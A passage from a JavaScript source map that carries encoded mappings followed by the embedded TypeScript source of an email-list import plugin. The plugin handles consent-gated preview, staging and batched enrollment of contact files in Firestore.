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"}
1
+ {"version":3,"sources":["../../../../../../libs/plugins/email/src/lib/server-list-import.ts"],"sourcesContent":["/**\n * @license\n * Copyright 2026 Aglyn LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/**\n * BRINGING AN EXISTING LIST IN — the four routes an import is made of.\n *\n * `docs/specs/email-competitive-gaps.md` G5: export works, import does not\n * exist, and every customer arriving from another product has a list and no\n * way to bring it. P4 is the condition attached to closing that: a bulk\n * import is the fastest way to destroy a shared sending domain, so it ships\n * WITH its controls.\n *\n * ## Every imported address goes through the checks a typed one does\n *\n * Not a similar set — the same functions. {@link resolveAddresses} is the\n * resolution `email/list-members-preview` runs, `assignmentBasis` is the\n * policy `email/list-members-add` applies, and `enrollListMember` is the one\n * writer of the membership collection. A second bulk path with its own idea of\n * suppression and its own idea of consent is exactly the defect class this\n * register has a P1 entry for, and that entry is closed.\n *\n * What this module adds is everything ABOVE that gate: reading a file,\n * screening it, holding the operator's attestation, and metering the work out\n * over as many requests as it takes.\n *\n * ## Four routes, because an import is four separate acts\n *\n * - `email/list-import-preview` — reads the file and says what is in it.\n * Writes nothing, enrolls nobody, and resolves a BOUNDED SAMPLE through the\n * consent gate so the numbers the operator attests against are real numbers\n * from real records rather than a promise.\n * - `email/list-import-start` — records the attestation and stages the\n * addresses. Still enrolls nobody: the act of saying \"I have permission for\n * these people\" is separated from the act of adding them so that the\n * attestation has a moment of its own.\n * - `email/list-import-run` — enrolls up to {@link LIST_IMPORT_RUN_BUDGET}\n * addresses from the cursor and moves it. Called until it answers\n * `complete`.\n * - `email/list-import-status` — the unfinished import on a list, if there is\n * one, so a merchant who closed the tab is not left with a half-added\n * audience and no way to see it.\n *\n * ## A budget and a cursor, not one request and not one transaction\n *\n * The shape `dynamic-list-materialize.ts` already uses: a per-run bound on\n * work, a cursor recording where the run stopped, and a next run that resumes\n * rather than restarts. A 50,000-address file is not a request that times out\n * halfway with no record of what it did; it is 500 bounded requests over one\n * durable job, and stopping in the middle of it leaves the addresses already\n * enrolled enrolled and the rest staged.\n *\n * The run budget is deliberately {@link LIST_MEMBER_BATCH_MAX} — the same\n * number of addresses one hand-typed add already resolves in one request — so\n * an import run costs exactly what an add costs and no new cost profile is\n * introduced to discover in production.\n *\n * ## ⛔ Nothing here is a capacity limit\n *\n * {@link LIST_IMPORT_MAX_ADDRESSES} refuses a FILE before anything is written.\n * It never trims a staged import, never drops an address to fit, and never\n * removes anybody already on the list. A ceiling in this product is enforced\n * at the reduction, and the reduction here is refusing the upload — which the\n * operator sees, can argue with, and can act on by splitting the file.\n *\n * ## Who the attester is, and why a resumer does not become one\n *\n * The attestation is one person's claim about where a file came from. It is\n * recorded on the job with the account that made it, and every run reads the\n * basis from THAT account, not from whoever pressed Resume. A colleague who\n * finishes somebody else's import has asserted nothing, and the consent\n * records the run writes must not say they did.\n */\n\nimport {\n ASSIGNMENT_REFUSAL_MESSAGES,\n assignmentBasis,\n createResourceUid,\n CSV_UPLOAD_MAX_CHARACTERS,\n readMarketingBasis,\n registerPluginApiRoute,\n type AssignmentRefusal,\n type PluginApiHandler,\n} from '@aglyn/aglyn/server'\nimport { enrollListMember } from '@aglyn/tenant-data-admin'\nimport { FieldValue } from 'firebase-admin/firestore'\nimport {\n importedBasisReason,\n LIST_IMPORT_MAX_ADDRESSES,\n parseListImport,\n screenListImport,\n type ListImportRow,\n} from './list-import'\n/*\n * The gate module directly, never `server-console.ts`'s re-export of it.\n *\n * That file imports THIS one to register these routes, so reaching its\n * re-export would close a cycle — and the constant below is evaluated at\n * module load, which is precisely where a cycle stops being harmless: the\n * binding is still in its temporal dead zone when the loader arrives.\n */\nimport {\n LIST_MEMBER_BATCH_MAX,\n resolveAddresses,\n resolveListContext,\n type ListContext,\n} from './server-list-gate'\n\n/** `source` stamped on every membership an import writes. */\nexport const CONSOLE_IMPORT_SOURCE = 'console:list-import'\n\n/** Where a list's import jobs live: `orgs/{orgId}/lists/{listId}/imports`. */\nexport const LIST_IMPORTS_SUBCOLLECTION = 'imports'\n\n/**\n * Addresses one run enrolls before answering and handing back the cursor.\n *\n * The same number as {@link LIST_MEMBER_BATCH_MAX} on purpose — see the module\n * note. It is a bound on WORK: it can never refuse a person, and the addresses\n * it does not reach in this run are reached by the next one.\n */\nexport const LIST_IMPORT_RUN_BUDGET = LIST_MEMBER_BATCH_MAX\n\n/**\n * Staged addresses per chunk document.\n *\n * Comfortably inside Firestore's one-megabyte document limit at the widths a\n * contact file actually carries, and a multiple of the run budget so a run\n * reads exactly one chunk. Reading two would be the common case at any size\n * that is not a multiple, which is a round trip paid on every run to save\n * nothing.\n */\nexport const LIST_IMPORT_CHUNK_SIZE = 500\n\n/** Unusable lines kept verbatim on the job, so the result names some of them. */\nconst UNUSABLE_SAMPLE_MAX = 25\n\n/** Role accounts kept verbatim on the job, for the same reason. */\nconst ROLE_ACCOUNT_SAMPLE_MAX = 25\n\n/** One staged row, in the short field names a 50,000-row staging area wants. */\ninterface StagedRow {\n /** The normalized address. */\n e: string\n /** A display name from the file, when it carried one. */\n n?: string\n /** The opt-in source the file declared. */\n s?: string\n /** The opt-in date the file declared, as written. */\n d?: string\n}\n\n/** What the merchant is told about the file, before they attest to it. */\ninterface ImportScreeningReport {\n /** How many addresses are at a shared or unattended mailbox. */\n roleAccounts: number\n /** A bounded sample of them, so the warning names names. */\n roleAccountSamples: string[]\n /** Column names that read as purchase or append tells. */\n purchaseTellColumns: string[]\n /** Whether the file declares an opt-in source or date per row. */\n declaresBasis: boolean\n}\n\n/** Reads the request's file text, or the refusal to send back. */\nfunction readImportText(\n req: Parameters<PluginApiHandler>[0],\n): { text: string } | { error: string } {\n const text = String(req.body?.text ?? '')\n if (!text.trim()) return { error: 'The file is empty.' }\n if (text.length > CSV_UPLOAD_MAX_CHARACTERS) {\n return {\n error:\n 'That file is too large to read in one go. Split it and import the ' +\n 'pieces — nothing is added until you do, and nothing already on the ' +\n 'list is affected.',\n }\n }\n return { text }\n}\n\n/**\n * The screening report for a parsed file.\n *\n * Counts plus a bounded sample rather than every offending address. The point\n * of the warning is that the operator SEES the shape of what they are about to\n * attest to; a list of four thousand role accounts is a scroll, not a warning,\n * and it would put four thousand addresses into a document whose reason for\n * existing is bookkeeping.\n */\nfunction screeningReport(parsed: {\n columns: string[]\n rows: ListImportRow[]\n}): ImportScreeningReport {\n const screening = screenListImport(parsed)\n return {\n roleAccounts: screening.roleAccounts.length,\n roleAccountSamples: screening.roleAccounts.slice(0, ROLE_ACCOUNT_SAMPLE_MAX),\n purchaseTellColumns: screening.purchaseTellColumns,\n declaresBasis: screening.declaresBasis,\n }\n}\n\n/**\n * `POST email/list-import-preview` — what is in this file.\n *\n * Reads only. It answers three separate questions and keeps them separate,\n * because collapsing them is how an import gets attested to on a number that\n * is not the number:\n *\n * - what the FILE contains: usable addresses, unusable lines, duplicates\n * collapsed, and the columns it carries;\n * - what the SCREENING found, which decides nothing and is shown anyway;\n * - what the CONSENT GATE says about a bounded sample of the addresses.\n *\n * The sample is the honest shape rather than a shortcut. Resolving fifty\n * thousand addresses against the contacts collection and both suppression\n * lists is the same scan the import itself performs, so a preview that did it\n * would be the import minus the writes — twice the cost, and a request that\n * times out on exactly the files this feature exists for. So the sample size\n * is reported beside the total and the run reports the real figures as they\n * become true, which is the same distinction `email/list-rule-preview` draws\n * between `matched` and the batch it hands back.\n */\nexport const emailListImportPreviewHandler: PluginApiHandler = async (\n req,\n res,\n) => {\n if (req.method !== 'POST') {\n return res.status(405).json({ error: 'Method not allowed' })\n }\n const file = readImportText(req)\n if ('error' in file) return res.status(400).json({ error: file.error })\n try {\n const context = await resolveListContext(req)\n if (context.ok === false) {\n return res.status(context.status).json(context.body)\n }\n const parsed = parseListImport(file.text)\n const sample = parsed.rows\n .map((row) => row.email)\n .filter((email): email is string => !!email)\n .slice(0, LIST_MEMBER_BATCH_MAX)\n const resolution = await resolveAddresses({\n hostId: context.hostId,\n inputs: sample,\n })\n return res.status(200).json({\n listName: context.listName,\n columns: parsed.columns,\n usable: parsed.usable,\n unusable: parsed.unusable,\n duplicates: parsed.duplicates,\n overCeiling: parsed.overCeiling,\n ceiling: LIST_IMPORT_MAX_ADDRESSES,\n unusableSamples: parsed.rows\n .filter((row) => !row.email)\n .slice(0, UNUSABLE_SAMPLE_MAX)\n .map((row) => row.input),\n screening: screeningReport(parsed),\n /*\n * The sample's verdicts, in the shape the panel's consent readout\n * already draws, and its SIZE beside them. A count with no denominator\n * next to it is the thing an operator misreads as the whole file.\n */\n sampleSize: sample.length,\n verdicts: resolution.verdicts,\n optedIn: resolution.optedIn,\n needAttestation: resolution.needAttestation,\n refused: resolution.refused,\n })\n } catch (error) {\n console.error('[email] list import preview failed', error)\n return res.status(500).json({ error: 'The file could not be read.' })\n }\n}\n\n/**\n * `POST email/list-import-start` — record the attestation, stage the file.\n *\n * Body: `{ hostId, listId, text, attestConsent }`. Enrolls nobody. It writes\n * the job document that every subsequent run reads, and the chunks holding\n * the addresses, and then stops — so the moment the operator makes their\n * claim is a moment of its own, with a record of who made it and when, rather\n * than a flag riding along on the request that also did the work.\n *\n * `attestConsent` is the operator STATING they have these people's\n * permission. It is not a way to name a basis: the basis is derived per\n * address at run time from that person's own record, exactly as the\n * one-address add path derives it, and this flag can only ever produce the\n * attributable kind.\n */\nexport const emailListImportStartHandler: PluginApiHandler = async (\n req,\n res,\n) => {\n if (req.method !== 'POST') {\n return res.status(405).json({ error: 'Method not allowed' })\n }\n const file = readImportText(req)\n if ('error' in file) return res.status(400).json({ error: file.error })\n const attested = req.body?.attestConsent === true\n try {\n const context = await resolveListContext(req)\n if (context.ok === false) {\n return res.status(context.status).json(context.body)\n }\n const parsed = parseListImport(file.text)\n const staged: StagedRow[] = parsed.rows\n .filter((row) => !!row.email)\n .map((row) => ({\n e: row.email as string,\n ...(row.name ? { n: row.name } : {}),\n ...(row.declaredSource ? { s: row.declaredSource } : {}),\n ...(row.declaredAt ? { d: row.declaredAt } : {}),\n }))\n if (!staged.length) {\n return res.status(400).json({\n error:\n 'No usable email addresses were found in that file. Check that it ' +\n 'has an address column, or paste one address per line.',\n })\n }\n\n const importId = createResourceUid()\n const importRef = context.listRef\n .collection(LIST_IMPORTS_SUBCOLLECTION)\n .doc(importId)\n const chunks = importRef.collection('chunks')\n /*\n * The staging area first, the job document last.\n *\n * A job whose chunks are not all written yet is a job a run would read\n * past the end of, and the run is driven by a client that starts\n * immediately. Writing the job last means the only state anybody can\n * observe is a complete one.\n *\n * One document per chunk and not one batch over all of them: a batch is\n * capped at 500 writes and, more to the point, is a transaction — the\n * whole reason this is a staged job rather than one request is that a\n * fifty-thousand-address import must not be a single atomic thing that\n * either lands or does not.\n */\n for (let at = 0; at < staged.length; at += LIST_IMPORT_CHUNK_SIZE) {\n await chunks.doc(String(at / LIST_IMPORT_CHUNK_SIZE)).set({\n rows: staged.slice(at, at + LIST_IMPORT_CHUNK_SIZE),\n })\n }\n\n await importRef.set({\n listName: context.listName,\n status: 'running',\n total: staged.length,\n cursor: 0,\n enrolled: 0,\n refused: 0,\n refusals: {},\n unusable: parsed.unusable,\n duplicates: parsed.duplicates,\n overCeiling: parsed.overCeiling,\n unusableSamples: parsed.rows\n .filter((row) => !row.email)\n .slice(0, UNUSABLE_SAMPLE_MAX)\n .map((row) => row.input),\n columns: parsed.columns,\n screening: screeningReport(parsed),\n /*\n * WHO attested, stored beside WHETHER. A flag on its own is an\n * unattributed claim, which is the one thing `list-assignment-policy`\n * refuses to let an attestation be — and every run reads the account\n * from here rather than from the session that triggered it.\n */\n attested,\n attestedByUid: attested ? context.uid : null,\n attestedAtMs: attested ? Date.now() : null,\n startedByUid: context.uid,\n createdAt: FieldValue.serverTimestamp(),\n updatedAt: FieldValue.serverTimestamp(),\n })\n\n return res.status(200).json({\n importId,\n listName: context.listName,\n total: staged.length,\n attested,\n runBudget: LIST_IMPORT_RUN_BUDGET,\n })\n } catch (error) {\n console.error('[email] list import start failed', error)\n return res.status(500).json({ error: 'The import could not be started.' })\n }\n}\n\n/** The staged addresses a run will work on, from the cursor. */\nasync function readStaged(\n importRef: FirebaseFirestore.DocumentReference,\n cursor: number,\n total: number,\n): Promise<StagedRow[]> {\n const take = Math.min(LIST_IMPORT_RUN_BUDGET, Math.max(total - cursor, 0))\n if (take <= 0) return []\n const rows: StagedRow[] = []\n let at = cursor\n /*\n * A loop rather than one read.\n *\n * `LIST_IMPORT_CHUNK_SIZE` is a multiple of `LIST_IMPORT_RUN_BUDGET`, so as\n * those two constants stand a run reads exactly one chunk and this turns\n * once. That relationship is a PERFORMANCE choice — one round trip per run\n * — and the loop is what keeps it from also being a correctness\n * requirement: change either number to something that does not divide, or\n * resume a job whose cursor came from an older budget, and a run's batch\n * straddles a boundary. Reading one chunk and truncating would silently\n * import a short batch and advance the cursor past the rest.\n */\n while (rows.length < take) {\n const index = Math.floor(at / LIST_IMPORT_CHUNK_SIZE)\n const snapshot = await importRef\n .collection('chunks')\n .doc(String(index))\n .get()\n const stored = (snapshot.exists ? snapshot.get('rows') : null) as\n | StagedRow[]\n | null\n if (!Array.isArray(stored) || !stored.length) break\n const offset = at - index * LIST_IMPORT_CHUNK_SIZE\n const slice = stored.slice(offset, offset + (take - rows.length))\n if (!slice.length) break\n rows.push(...slice)\n at += slice.length\n }\n return 